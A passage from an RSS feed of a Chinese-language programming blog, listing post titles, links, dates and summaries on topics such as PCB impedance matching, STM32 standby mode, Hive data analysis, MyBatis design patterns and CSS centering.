      <description>高速数字信号线上添加33欧电阻的作用 一，作用&#xA;用来做阻抗匹配，防止信号反射的。一般PCB走线控制为50欧姆，在这样接收端高阻的情况时，可以通过源端串联50欧姆来做匹配，&#xA;将终端反射回来的信号吸收，防止在源端再次发生发射。这边33欧，和信号驱动的内阻（大约20欧）串联成50欧，与PCB走线匹配。&#xA;所以这个电阻在PCB上的位置要和信号驱动端靠近。&#xA;二，如何使用&#xA;要不要做匹配就取决于信号的速度和走线长度，规则一般是走线长度大于信号波长的1/10就要匹配了，50M的时钟最好是接一下了，&#xA;不然会看到明显的过冲。&#xA;NOTE：&#xA;此电阻需要与信号驱动端靠近布线&#xA;三，实例理论演算&#xA;假设波长为 b , C = (3 x 10 ^8)米/秒，则有公式fb = C ， f 为频率。&#xA;例如RGMII 时钟信号为50MHz，则根据上面的公式可以推导出波长b b = c / (50M) = 30 / 5 米= 6米&#xA;所以超过 6米x 0.1 = 60cm 时需要添加反射电阻&#xA;由此可见，理论上应该只要不是板特别大，或者信号频率特别高，应该就不需要什么反射电阻，低频的信号基本可以不考虑。</description>
    </item>
    <item>
      <title>傅里叶分析第二辑（一维声音信号和二维图像信号）</title>
      <link>https://bchobby.github.io/posts/ddd4300cd6e9d4b2ba841731ea99875e/</link>
      <pubDate>Thu, 27 Feb 2020 22:54:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ddd4300cd6e9d4b2ba841731ea99875e/</guid>
      <description>信号可定义为一个传载信息的函数。根据信号的特点，可表示为一个或几个独立变量的函数，例如图像信号就是空间位置（二维变量）的亮度函数，一维信号的变量可以是时间，也可以是频率、空间或其他物理量，但习惯上看成是时间。信号的幅度和时间可以取连续值，也可以取离散值，于是信号可分为以下几种：&#xA;1、连续的时间信号：在连续时间范围内定义的信号。信号的幅值可以是连续的，也可以是离散的。在幅值连续的特定情况下又常称为模拟信号，实际上，连续时间信号与模拟信号常常通用，用来说明同一信号。&#xA;2、离散时间信号：时间为离散变量，而幅值是连续变化的信号。&#xA;3、数字信号：时间和幅值都离散化的信号。</description>
    </item>
    <item>
      <title>typora&#43;markdown发公众号！图片并排</title>
      <link>https://bchobby.github.io/posts/c068bf12624762740547b0c5fe0c8cc7/</link>
      <pubDate>Thu, 27 Feb 2020 22:22:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c068bf12624762740547b0c5fe0c8cc7/</guid>
      <description>插入本地图片，肥肠好用啦哇哈哈&#xA;暂时不懂富文本什么的怎么搞quq</description>
    </item>
    <item>
      <title>Halcon Opencv 数据的不同</title>
      <link>https://bchobby.github.io/posts/301ccaa1df9cf88a5ece53fa77ab634f/</link>
      <pubDate>Thu, 27 Feb 2020 15:25:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/301ccaa1df9cf88a5ece53fa77ab634f/</guid>
      <description>1、基本数据类型&#xA;halcon 只具备 两种数据类型 HTuple (tuple) 、HObject (object)。&#xA;对于基本数据的处理应用 HTuple 类型存储与计算。数组、字符串、数字、均可使用。&#xA;对于图形数据，多通道图、单通道图、二值化图均需使用 HObject 的类型。字母 H 是 halcon 在 c++ 中的嵌入类型前缀。&#xA;opencv 具备多种类型，Point，Mat, Point2f, Vec4i, Vec3b等等。但均是基本数据的多种组合体现。&#xA;图像数据就是像素点的集合，常用Mat类型存储。数据分为头部、数据部。进行数据拷贝时，请考虑头部信息、数据信息的拷贝，即为深拷贝、浅拷贝。&#xA;2、操作形式&#xA;在这里操作形式，只说明图像数据的操作。&#xA;halcon 对于 图像的处理的基本数据 应称作 region。而opencv的图形处理基本数据 是 Point。&#xA;region 应该怎么理解。&#xA;借用 opencv 来理解会更好的理解。region 可以理解为点的集合形成的连通域。&#xA;图解如下&#xA;以函数用法解释，对于两区域相交，求相交面积中心点&#xA;对于halcon而言，&#xA;Intersection(region1,region2,result);&#xA;AreaCenter(result,area,row,col);&#xA;只具备点这个概念，但不具备点这个形式。&#xA;对于opencv而言，&#xA;Mat c = mata.mul(matb);&#xA;connectedComponentsWithStats(img, labels, stats, centroids); //亦可以通过轮廓来确定。&#xA;不仅具备点这个概念，同样具备点这个形式，并且基础的数据形式为点。&#xA;region是不可以直接访问像素点数据的，所以region就已经是一个基本数据了。&#xA;Mat 是可以再往下访问的，是可以直接访问像素点数据的。可以通过直接像素点数据，进行数据的修改的。但 region 是不允许直接修改的，需要先拆分出数据地址，然后根据地址找到数据。&#xA;所以在操作时，请注意操作基础。主要区别是数据的操作基础，对于问题的解决方法上并没有不同，都是一种图形处理工具，主要看怎么用。&#xA;3、数据存储&#xA;对于数据存储，是具备共通性的。Mat 具备头部与数据部分，也就是图像配置信息与数据信息，同样在Object中存在。&#xA;数据的存储方式，基本都是 地址加长度 。unsigned char _char; _char 申请数据内存地址，unsigned char 提供数据占用长度。对于指针，也就是在内存中不是直接存储的数据，而是存储的指向直接保存数据的地址，根据这个地址跳转到数据存储地址。对于强类型语言均适用。</description>
    </item>
    <item>
      <title>C语言再学习24——__attribute__ (at())地址定位</title>
      <link>https://bchobby.github.io/posts/4d39b909b569ee6fdc4a2ee231aed74c/</link>
      <pubDate>Wed, 26 Feb 2020 22:55:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d39b909b569ee6fdc4a2ee231aed74c/</guid>
      <description>前言： 为了方便查看博客，特意申请了一个公众号，附上二维码，有兴趣的朋友可以关注，和我一起讨论学习，一起享受技术，一起成长。&#xA;1. __ attribute __((at)) 绝对定位 __ attribute __( at(绝对地址) )的作用：&#xA;（1）绝对定位到 Flash；&#xA;（2）绝对定位到 RAM。&#xA;__ attribute __ ：用来指定变量或结构位域的特殊属性，关键字后的双括弧中的内容是属性说明；&#xA;at：用来设置变量的绝对地址，指定某个变量处于内存或 FLASH 里面的某个给定的地址。&#xA;1.1 定位到 FLASH 定位到 flash 中，常用于固化信息，例如：设备的出厂信息，FLASH 标记等；&#xA;const uint8_t usFlashInitVal[] __attribute__((at(0x00030000))) = {0x11,0x22,0x33,0x44,0x55,0x66};//定位在flash中，0x00030000开始的6个字节信息固定 1.2 定位到 RAM 常用于数据量较大的缓存，如：串口接收数据。也用于某个位置的特定变量。&#xA;uint8_t ucUsartRecvBuffer[USART_RECV_LEN] __attribute__ ((at(0x00025000)));&#x9;//接收缓冲,最大USART_RECV_LEN个字节,起始地址为 0x00025000 注：&#xA;绝对定位不能在函数中定义，局部变量是定义在栈区，栈区是自动分配、释放，不能定义为绝对地址，只能于函数外定义；&#xA;定义的长度不能超过栈或 Flash 的大小，否则导致栈、Flash 溢出。&#xA;1.3 测试 比如：在 0x08010000 的 flash 地址上固定写入数据，如下图：&#xA;如果不加 const 修饰，则定位到了 RAM 。&#xA;编译出来各部分文件大小：&#xA;打开编译出来二进制文件，如下图：&#xA;最后，我们来看一下加与不加 const uint8_t ucaSysFlashVal[] attribute((at(0x08010000))) =</description>
    </item>
    <item>
      <title>VS Code 使用 rubocop 进行 ruby-rails 代码检查</title>
      <link>https://bchobby.github.io/posts/a847179bd5e724e70a062f0b3df6c217/</link>
      <pubDate>Wed, 26 Feb 2020 22:12:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a847179bd5e724e70a062f0b3df6c217/</guid>
      <description>前段时间有个日本项目使用 Ruby on rails，因为习惯我 IDE 用的 VS Code，代码检查插件自然是要选择 ruby-rubocop 了。&#xA;可是该插件的 about 写得比较笼统，在网上看了一圈没找到这个插件是怎么使用的。摸索了一番，记之以文。&#xA;写在前面 ruby-rubocop 是使用 rubocop（ruby 的代码风格检查器）输出的消息，转换到你在 VS Code 中编辑的每行代码上。&#xA;其官方介绍原话是“This extension provides interfaces to rubocop for vscode”（这个扩展程序为 rubocop 提供了 VS Code 的接口）&#xA;所以，我们要做的第一件事是让你的代码可以使用 rubocop 进行检查，这需要安装 ruby 环境。然后要将 rubocop 与 ruby-rubocop 关联起来。&#xA;前提 - 软件安装 安装 VS Code 插件&#xA;Rubyruby-rubocop Windows 安装 ruby 运行环境&#xA;ruby 运行环境，windows 安装 Ruby 教程。安装时 cmd 选择 3 rubocop 及其依赖安装&#xA;cmd 命令行执行 gem install rubocopgem install rubocop-railsgem install rubocop-performancegem install rubocop-thread_safety 安装好 rubocop 后，你就可以在命令行定位到项目目录下，输入 rubocop 来运行 rubocop 进行代码检查了。</description>
    </item>
    <item>
      <title>LeetCode：300 最长上升子序列 (最优方法是：动态规划 &#43; 二分法)</title>
      <link>https://bchobby.github.io/posts/acc2b25245b646b3e881103bbd24e6a2/</link>
      <pubDate>Wed, 26 Feb 2020 16:08:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/acc2b25245b646b3e881103bbd24e6a2/</guid>
      <description>第一种简单粗暴地解法：&#xA;递归求解 状态转移方程，属于Up-Down方法，因为子问题的重复求解，导致时间复杂度O(2^n)&#xA;一个语法点：想用全局变量，可以直接设置类的成员变量，不应该像 java 那样用 static 静态变量！这一点很容易被忽视！&#xA;class Solution { private: int max; int f(vector&amp;lt;int&amp;gt;&amp;amp; nums, int n) { if(n &amp;lt; 1) return n; int temp = 0, maxCurEnd = 1; for(int i = 1; i &amp;lt; n; i++) { temp = f(nums, i); if(nums[i-1] &amp;lt; nums[n-1] &amp;amp;&amp;amp; temp+1 &amp;gt; maxCurEnd) { maxCurEnd = temp + 1; } } if(max &amp;lt; maxCurEnd) { max = maxCurEnd; } return maxCurEnd; } public: int lengthOfLIS(vector&amp;lt;int&amp;gt;&amp;amp; nums) { if(nums.</description>
    </item>
    <item>
      <title>淘宝双11大数据分析（Hive 分析篇-下）</title>
      <link>https://bchobby.github.io/posts/bacd75021db7ffaa90c6a3a288b61cfd/</link>
      <pubDate>Wed, 26 Feb 2020 14:59:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bacd75021db7ffaa90c6a3a288b61cfd/</guid>
      <description>文章目录 前言当前环境创建一个临时表将 user_log 表中的数据插入到 inner_user_log使用 Sqoop 迁移数据MySQL 中的准备导入数据 MySQL 中查看数据是否已经导入 前言 本篇主要是数据迁移，使用 Sqoop 把 Hive 中的数据迁移到 MySQL 中。&#xA;阅读此篇文章，需要先阅读前篇：&#xA;淘宝双11大数据分析（环境篇）淘宝双11大数据分析（数据准备篇）淘宝双11大数据分析（Hive 分析篇-上） 当前环境 安装好了 Hive 、MySQL 和 Sqoop 。启动 Hive 使用 jps 命令查看当前服务：&#xA;[root@centos2020 dataset]# jps 12707 RunJar 7876 NameNode 8183 ResourceManager 7930 DataNode 8477 NodeManager 17086 Jps 创建一个临时表 hive&amp;gt; create table dbtaobao.inner_user_log(user_id INT,item_id INT,cat_id INT,merchant_id INT,brand_id INT,month STRING,day STRING,action INT,age_range INT,gender INT,province STRING) COMMENT &#39;Welcome to XMU dblab! Now create inner table inner_user_log &#39; ROW FORMAT DELIMITED FIELDS TERMINATED BY &#39;,&#39; STORED AS TEXTFILE; OK Time taken: 0.</description>
    </item>
    <item>
      <title>淘宝双11大数据分析（Hive 分析篇-上）</title>
      <link>https://bchobby.github.io/posts/3eef327428dd8eb0a935cc0d8c826d26/</link>
      <pubDate>Wed, 26 Feb 2020 14:09:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3eef327428dd8eb0a935cc0d8c826d26/</guid>
      <description>文章目录 前言当前环境用聚合函数 count() 计算出表内有多少条数据查出 user_id 不重复的数据的条数查询不重复的数据有多少条（为了排除客户刷单的情况）关键字条件查询分析查询双11那天有多少人购买了商品求当天购买的此品牌商品的数量 根据用户行为分析查询一件商品在某天的购买比例或浏览比例查询双11那天，男女买家购买商品的比例给定购买商品的数量范围，查询某一天在该网站的购买该数量商品的用户id 用户实时查询分析 前言 阅读此篇文章，需要先阅读前篇：&#xA;淘宝双11大数据分析（环境篇）淘宝双11大数据分析（数据准备篇） 当前环境 使用 jps 查看当前启动的服务：（其中 Master 和 Worker是 Spark 的服务，不本篇无关）&#xA;[root@centos2020 dataset]# jps 11408 Master 12707 RunJar 7876 NameNode 8183 ResourceManager 7930 DataNode 8477 NodeManager 11550 Worker 12990 Jps 另外，本篇需要先启动 mysql ，hive服务（启动步骤请参考：淘宝双11大数据分析（数据准备篇））。&#xA;用聚合函数 count() 计算出表内有多少条数据 hive&amp;gt; select count(*) from user_log; 执行过程和结果（文章篇幅原因，后边的运行只展示结果，不展示过程）：&#xA;WARNING: Hive-on-MR is deprecated in Hive 2 and may not be available in the future versions. Consider using a different execution engine (i.</description>
    </item>
    <item>
      <title>bond接口参数配置</title>
      <link>https://bchobby.github.io/posts/669f4c7ef94424f016b4988665db3368/</link>
      <pubDate>Wed, 26 Feb 2020 09:20:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/669f4c7ef94424f016b4988665db3368/</guid>
      <description>Bond接口最简化的创建命令如下，任何参数都使用默认：&#xA;ip link add bond1 type bond 或者： ip link add type bond 由内核决定接口名称，格式为：bond%d。 以上命令，创建的bond1设备，默认参数可使用如下命令查看。&#xA;$ ip -d link show dev bond1 5: bond1: &amp;lt;BROADCAST,MULTICAST,MASTER&amp;gt; mtu 1500 qdisc noop state DOWN mode DEFAULT group default qlen 1000 link/ether 8e:cf:e6:a3:de:82 brd ff:ff:ff:ff:ff:ff promiscuity 0 bond mode balance-rr miimon 0 updelay 0 downdelay 0 use_carrier 1 arp_interval 0 arp_validate none arp_all_targets any primary_reselect always fail_over_mac none xmit_hash_policy layer2 resend_igmp 1 num_grat_arp 1 all_slaves_active 0 min_links 0 lp_interval 1 packets_per_slave 1 lacp_rate slow ad_select stable tlb_dynamic_lb 1 addrgenmode eui64 numtxqueues 16 numrxqueues 16 gso_max_size 65536 gso_max_segs 65535 参数mode 由内核中函数bond_check_params可知，如果不指定模式mode参数，默认情况下为BOND_MODE_ROUNDROBIN，即以上显示的balance-rr。</description>
    </item>
    <item>
      <title>【VScode】C语言环境配置填坑 | 报错：no iconv implementation | unrecognized command line option “-std=c&#43;&#43;11</title>
      <link>https://bchobby.github.io/posts/2a9cea79735772652089e298008eefe9/</link>
      <pubDate>Tue, 25 Feb 2020 21:48:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a9cea79735772652089e298008eefe9/</guid>
      <description>网上同志们的流程 1.安装MinGw&#xA;2.配置环境变量&#xA;3.csvode中下载cpp插件&#xA;4.按f5配置launch.json&#xA;{ &#34;version&#34;: &#34;0.2.0&#34;, &#34;configurations&#34;: [ { &#34;name&#34;: &#34;(gdb) Launch&#34;, &#34;preLaunchTask&#34;: &#34;Build&#34;, &#34;type&#34;: &#34;cppdbg&#34;, &#34;request&#34;: &#34;launch&#34;, &#34;targetArchitecture&#34;: &#34;x86_64&#34;, &#34;program&#34;: &#34;${fileDirname}/${fileBasenameNoExtension}.exe&#34;, &#34;miDebuggerPath&#34;: &#34;c:\\MinGW\\bin\\gdb.exe&#34;,（同志！这里改你的路径，不能用我的路径） &#34;args&#34;: [], &#34;stopAtEntry&#34;: false, &#34;cwd&#34;: &#34;${workspaceFolder}&#34;, &#34;environment&#34;: [], &#34;externalConsole&#34;: true, &#34;MIMode&#34;: &#34;gdb&#34;, &#34;setupCommands&#34;: [ { &#34;description&#34;: &#34;Enable pretty-printing for gdb&#34;, &#34;text&#34;: &#34;-enable-pretty-printing&#34;, &#34;ignoreFailures&#34;: true } ] } ] } 5.配置tasks.json&#xA;{ &#34;version&#34;: &#34;2.0.0&#34;, &#34;tasks&#34;: [ { &#34;label&#34;: &#34;build&#34;, &#34;type&#34;: &#34;shell&#34;, &#34;group&#34;: { &#34;kind&#34;: &#34;</description>
    </item>
    <item>
      <title>STM32进入Standby模式并唤醒</title>
      <link>https://bchobby.github.io/posts/892043a3ee5574b36e6c114f29a6a56e/</link>
      <pubDate>Tue, 25 Feb 2020 17:01:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/892043a3ee5574b36e6c114f29a6a56e/</guid>
      <description>项目背景 设备具备电池、电源适配器两种供电方式，实现出厂(和电池一并密封装盒)时最低功耗(即进入待机模式),到用户开始使用时需要手动磁棒唤醒，开始复位运行。在检测到设备是交流供电时，设备全速运行；检测到是电池供电时，定时采集数据，采集完毕进入停止模式，定时器唤醒等待下次数据采集。（stm32f103ret6）&#xA;备注：本节只记录待机模式的进入和唤醒，停止模式的实现方式见STM32进入STOP模式并唤醒实验总结&#xA;用待机模式的理由及与停止模式的区别 选用待机模式 设备出厂，电池装在电路板上，封闭在模具当中，在到用户开始使用之前，必须保持最低功耗。停止模式下CPU电流消耗在20uA左右，而待机模式的电流消耗只有2uA。&#xA;和停止模式的区别 因为SRAM和寄存器的内容会保存，即PC指针能记录程序当前运行的位置，从停止模式唤醒时，能继续沿着当时进入停止模式处继续往下运行。（故运行时，设备检测到是电池供电时，选用停止模式：采集完数据进入停止模式，2小时后（根据需求自定义）定时唤醒采集，依此循环）&#xA;SRAM和寄存器内容不会保存，即待机模式唤醒相当于系统复位，从头运行（设备测试完成，整机入库时，通过外部按键等方式触发进入待机模式）&#xA;待机模式实现 进入待机模式三个步骤说明：&#xA;1.将系统控制寄存器第二位置1，当进入深度睡眠时，允许停止系统时钟(系统控制寄存器参考《Cortex-M3权威指南》)&#xA;2.使能PWR_CR的PDDS位，使得深度休眠时进入待机模式&#xA;3.清除WUF唤醒标志（WUF标志由硬件置位，当系统是WKUP唤醒复位而不是上电等复位时会置位。应用中可以用来读取PWR_CSR的WUF位是否为1来判断系统复位是不是待机唤醒）&#xA;4.&#xA;以上三个步骤由库函数PWR_EnterSTANDBYMode()实现&#xA;进入待机模式 void Standby_Entering(void) { RCC_APB2PeriphResetCmd(0x01fc, DISABLE);&#x9;//准备进入待机模式，复位所有IO，降低功耗(参照手册，根据需要复位对应IO) RCC_APB1PeriphClockCmd(RCC_APB1Periph_PWR, ENABLE);//需要配置电源控制寄存器，所以使能时钟，否则不能正常使用命令进入待机状态和唤醒 PWR_WakeUpPinCmd(ENABLE);&#x9;//使能WKUP引脚唤醒功能，否则WKUP引脚上升沿不能唤醒 PWR_EnterSTANDBYMode();&#x9;//进入待机模式 } void Standby_Configure(void) { GPIO_InitTypeDef&#x9;GPIO_InitStructure; //EXTI_InitTypeDef EXTI_InitStructure; //NVIC_InitTypeDef NVIC_InitStructure; GPIO_InitStructure.GPIO_Pin = GPIO_Pin_0; GPIO_InitStructure.GPIO_Mode = GPIO_Mode_IPD; GPIO_Init(WAKEUP_PORT, &amp;amp;GPIO_InitStructure); /*如果PA0只是用于唤醒，这部分可以不要，唤醒不是中断，中断控制器已经停止工作，如果正常模式下需要用到，可根据需要添加，这时候是中断事件 GPIO_EXTILineConfig(GPIO_PortSourceGPIOA, GPIO_PinSource0); EXTI_InitStructure.EXTI_Line = EXTI_Line0; EXTI_InitStructure.EXTI_Mode = EXTI_Mode_Interrupt; EXTI_InitStructure.EXTI_Trigger = EXTI_Trigger_Rising; EXTI_InitStructure.EXTI_LineCmd = ENABLE; EXTI_Init(&amp;amp;EXTI_InitStructure); NVIC_InitStructure.NVIC_IRQChannel = EXTI0_IRQn; NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 0x02; NVIC_InitStructure.</description>
    </item>
    <item>
      <title>面试吹牛用：Mybatis 中用到的 9 种设计模式！</title>
      <link>https://bchobby.github.io/posts/653151e87de8df407df190c36445e9c5/</link>
      <pubDate>Tue, 25 Feb 2020 15:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/653151e87de8df407df190c36445e9c5/</guid>
      <description>点击上方蓝色字体，选择“标星公众号”&#xA;优质文章，第一时间送达&#xA;上一篇：这300G的Java资料是我师傅当年给我的，免费分享给大家（已修复）&#xA;下一篇：昨天分享资料不小心把百度网盘深处的秘密泄露了（已修复）&#xA;作者：叶修之秋&#xA;来源：juejin.im/post/5d01f0e4f265da1bc23f726a&#xA;虽然我们都知道有23个设计模式，但是大多停留在概念层面，真实开发中很少遇到。Mybatis源码中使用了大量的设计模式，阅读源码并观察设计模式在其中的应用，能够更深入的理解设计模式。&#xA;Mybatis至少遇到了以下的设计模式的使用：&#xA;1、Builder模式，例如SqlSessionFactoryBuilder、XMLConfigBuilder、XMLMapperBuilder、XMLStatementBuilder、CacheBuilder；&#xA;2、工厂模式，例如SqlSessionFactory、ObjectFactory、MapperProxyFactory；&#xA;3、单例模式，例如ErrorContext和LogFactory；&#xA;4、代理模式，Mybatis实现的核心，比如MapperProxy、ConnectionLogger，用的jdk的动态代理；还有executor.loader包使用了cglib或者javassist达到延迟加载的效果；&#xA;5、组合模式，例如SqlNode和各个子类ChooseSqlNode等；&#xA;6、模板方法模式，例如BaseExecutor和SimpleExecutor，还有BaseTypeHandler和所有的子类例如IntegerTypeHandler；&#xA;7、适配器模式，例如Log的Mybatis接口和它对jdbc、log4j等各种日志框架的适配实现；&#xA;8、装饰者模式，例如Cache包中的cache.decorators子包中等各个装饰者的实现；&#xA;9、迭代器模式，例如迭代器模式PropertyTokenizer；&#xA;接下来挨个模式进行解读，先介绍模式自身的知识，然后解读在Mybatis中怎样应用了该模式。&#xA;1、Builder模式 Builder模式的定义是“将一个复杂对象的构建与它的表示分离，使得同样的构建过程可以创建不同的表示。”，它属于创建类模式。&#xA;一般来说，如果一个对象的构建比较复杂，超出了构造函数所能包含的范围，就可以使用工厂模式和Builder模式。&#xA;相对于工厂模式会产出一个完整的产品，Builder应用于更加复杂的对象的构建，甚至只会构建产品的一个部分。&#xA;在Mybatis环境的初始化过程中，SqlSessionFactoryBuilder会调用XMLConfigBuilder读取所有的MybatisMapConfig.xml和所有的*Mapper.xml文件，构建Mybatis运行的核心对象Configuration对象，然后将该Configuration对象作为参数构建一个SqlSessionFactory对象。&#xA;其中XMLConfigBuilder在构建Configuration对象时，也会调用XMLMapperBuilder用于读取*Mapper文件，而XMLMapperBuilder会使用XMLStatementBuilder来读取和build所有的SQL语句。&#xA;在这个过程中，有一个相似的特点，就是这些Builder会读取文件或者配置，然后做大量的XpathParser解析、配置或语法的解析、反射生成对象、存入结果缓存等步骤，这么多的工作都不是一个构造函数所能包括的，因此大量采用了Builder模式来解决。&#xA;对于builder的具体类，方法都大都用build*开头，比如SqlSessionFactoryBuilder为例，它包含以下方法：&#xA;即根据不同的输入参数来构建SqlSessionFactory这个工厂对象。&#xA;2、工厂模式 在Mybatis中比如SqlSessionFactory使用的是工厂模式，该工厂没有那么复杂的逻辑，是一个简单工厂模式。&#xA;简单工厂模式(Simple Factory Pattern)：又称为静态工厂方法(Static Factory Method)模式，它属于类创建型模式。&#xA;在简单工厂模式中，可以根据参数的不同返回不同类的实例。简单工厂模式专门定义一个类来负责创建其他类的实例，被创建的实例通常都具有共同的父类。&#xA;SqlSession可以认为是一个Mybatis工作的核心的接口，通过这个接口可以执行执行SQL语句、获取Mappers、管理事务。类似于连接MySQL的Connection对象。&#xA;可以看到，该Factory的openSession方法重载了很多个，分别支持autoCommit、Executor、Transaction等参数的输入，来构建核心的SqlSession对象。&#xA;在DefaultSqlSessionFactory的默认工厂实现里，有一个方法可以看出工厂怎么产出一个产品：&#xA;这是一个openSession调用的底层方法，该方法先从configuration读取对应的环境配置，然后初始化TransactionFactory获得一个Transaction对象&#xA;然后通过Transaction获取一个Executor对象，最后通过configuration、Executor、是否autoCommit三个参数构建了SqlSession。&#xA;在这里其实也可以看到端倪，SqlSession的执行，其实是委托给对应的Executor来进行的。&#xA;而对于LogFactory，它的实现代码：&#xA;这里有个特别的地方，Log变量的的类型是Constructorextends Log&amp;gt;&#xA;也就是说该工厂生产的不只是一个产品，而是具有Log公共接口的一系列产品，比如Log4jImpl、Slf4jImpl等很多具体的Log。&#xA;3、单例模式 单例模式(Singleton Pattern)：单例模式确保某一个类只有一个实例，而且自行实例化并向整个系统提供这个实例，这个类称为单例类，它提供全局访问的方法。&#xA;单例模式的要点有三个：一是某个类只能有一个实例；二是它必须自行创建这个实例；三是它必须自行向整个系统提供这个实例。&#xA;单例模式是一种对象创建型模式，单例模式又名单件模式或单态模式。&#xA;在Mybatis中有两个地方用到单例模式，ErrorContext和LogFactory，其中ErrorContext是用在每个线程范围内的单例，用于记录该线程的执行环境错误信息&#xA;而LogFactory则是提供给整个Mybatis使用的日志工厂，用于获得针对项目配置好的日志对象。&#xA;ErrorContext的单例实现代码：&#xA;构造函数是private修饰，具有一个static的局部instance变量和一个获取instance变量的方法，在获取实例的方法中，先判断是否为空如果是的话就先创建，然后返回构造好的对象。&#xA;只是这里有个有趣的地方是，LOCAL的静态实例变量使用了ThreadLocal修饰，也就是说它属于每个线程各自的数据，而在instance()方法中，先获取本线程的该实例，如果没有就创建该线程独有的ErrorContext。&#xA;4、代理模式 代理模式可以认为是Mybatis的核心使用的模式，正是由于这个模式，我们只需要编写Mapper.java接口，不需要实现，由Mybatis后台帮我们完成具体SQL的执行。&#xA;代理模式(Proxy Pattern) ：给某一个对象提供一个代 理，并由代理对象控制对原对象的引用。代理模式的英 文叫做Proxy或Surrogate，它是一种对象结构型模式。&#xA;代理模式包含如下角色：&#xA;Subject: 抽象主题角色&#xA;Proxy: 代理主题角色&#xA;RealSubject: 真实主题角色</description>
    </item>
    <item>
      <title>逻辑电路中的三态门</title>
      <link>https://bchobby.github.io/posts/3ed41bc1a2f9ece9f92edef0c5913354/</link>
      <pubDate>Tue, 25 Feb 2020 11:31:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ed41bc1a2f9ece9f92edef0c5913354/</guid>
      <description>什么是三态门 三态门即有三种可能的输出：0 1 z&#xA;z是指输出为高阻态&#xA;z意味着输出与输入之间是断开的&#xA;三态们的输入与输出想一个开关断开一样&#xA;请看下图可仔细了解&#xA;还可以有其他类型的三态门&#xA;如下图是一个低电平使能的三态门和上面的真值表取值刚好相反&#xA;高电平使能输出反向的三态门如下：</description>
    </item>
    <item>
      <title>js数组与字符串的相互转换方法</title>
      <link>https://bchobby.github.io/posts/925c182af9055ab0b8117b114e13a494/</link>
      <pubDate>Mon, 24 Feb 2020 23:40:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/925c182af9055ab0b8117b114e13a494/</guid>
      <description> 1、数组转字符串 需要将数组元素用某个字符连接成字符串，示例代码如下：&#xA;var arr = new Array(1,2,3,4); var str = arr.join(&#34;,&#34;); //str = &#34;1,2,3,4&#34; 2、字符串转数组 将字符串按某个字符切割成若干个字符串，并以数组形式返回，示例代码如下：&#xA;var str = &#34;a,b,c&#34;; var arr = str.split(&#34;,&#34;);// 在每个逗号(,)处进行分解 [&#34;a&#34;, &#34;b&#34;, &#34;c&#34;] 另&#xA;var str = &#34;hello&#34;; var arr = str.split(&#39;&#39;); //得到[&#34;h&#34;, &#34;e&#34;, &#34;l&#34;, &#34;l&#34;, &#34;o&#34;] </description>
    </item>
    <item>
      <title>webdriver.Chrome参数解释</title>
      <link>https://bchobby.github.io/posts/4f61945a1bdb2a46f262bbd6d569a7d6/</link>
      <pubDate>Mon, 24 Feb 2020 12:08:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f61945a1bdb2a46f262bbd6d569a7d6/</guid>
      <description>通过源码看解释 最直接最不讲道理的方式就是看源码，使用之前一定要学会看说明书。&#xA;打算使用jupyter演示的，但是jupyter不支持看源码，所以使用Pycharm吧。&#xA;from selenium import webdriver Broswer = webdriver.Chrome(executable_path=&#34;chromedriver&#34;, port=0, options=None, service_args=None, desired_capabilities=None, service_log_path=None, chrome_options=None, keep_alive=True) print(webdriver.Chrome.__doc__) &#34;&#34;&#34; Controls the ChromeDriver and allows you to drive the browser. You will need to download the ChromeDriver executable from http://chromedriver.storage.googleapis.com/index.html &#34;&#34;&#34; print(webdriver.Chrome.__init__.__doc__) &#34;&#34;&#34; Creates a new instance of the chrome driver. Starts the service and then creates new instance of chrome driver. :Args: - executable_path - path to the executable. If the default is used it assumes the executable is in the $PATH - port - port you would like the service to run, if left as 0, a free port will be found.</description>
    </item>
    <item>
      <title>CSS元素居中的方式有哪些？</title>
      <link>https://bchobby.github.io/posts/fe12831b68a3699183a2c378e3fe2b24/</link>
      <pubDate>Sun, 23 Feb 2020 15:45:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe12831b68a3699183a2c378e3fe2b24/</guid>
      <description>简介：让元素居中的方法有很多，接下来我为大家介绍在css当中基础的3种方法&#xA;第一种方法(针对于文字的):&#xA;a、先用display-block把子元素转换成块元素。&#xA;b、再给子元素加上text-align: center;让它在水平方向居中。&#xA;c、最后调整“内容”的行高line-height和父元素的高度一致。让它垂直方向居中。&#xA;第二种方法针对于元素在浏览器的居中，一般用在banner图上面(要用到定位)&#xA;a、给父元素添加position: relative;让它线成为参照物&#xA;b、给子元素添加&#xA;position:fixed; left:50%; top:50%; 这一步的目的是让子元素分别向右边和下面移动50%，从而使子元素的顶部和右边和父元素的水平中心线、垂直中心线对齐。&#xA;c、最后再用margin调整子元素的位置即可，给子元素加上margin:-高度的一半 0 0 -宽度的一半；(top和left值为负数就行了)&#xA;优点：这种居中的方式可以跨浏览器使用&#xA;- 第三种方法(要用到定位)&#xA;a、给父元素添加position: relative;让它线成为参照物&#xA;b、给子元素添加&#xA;position:fixed; top: 0;right: 0; bottom: 0;left: 0; margin: auto; 第四种方法(弹性布局) a、设置一个盒子为flexbox&#xA;b、给这个盒子(也就是父元素)添加display：flex&#xA;c、给父元素添加水平居中justify-content: center;&#xA;d、给父元素添加垂直居中align-items: center;&#xA;第五种方法(2D的变换)&#xA;简要说明：让子元素在父元素中沿着x、y两个轴进行移动 移动的距离，公式如下（父元素的宽高-子元素的宽高）/2&#xA;这是常见的五种方式，如果还有其他的希望大家在评论区补充，谢谢！</description>
    </item>
    <item>
      <title>sigmoid函数原理及饱和后梯度消失的问题</title>
      <link>https://bchobby.github.io/posts/242aca851c35d7e92271a673454ddaa3/</link>
      <pubDate>Sun, 23 Feb 2020 00:38:28 +0800</pubDate>
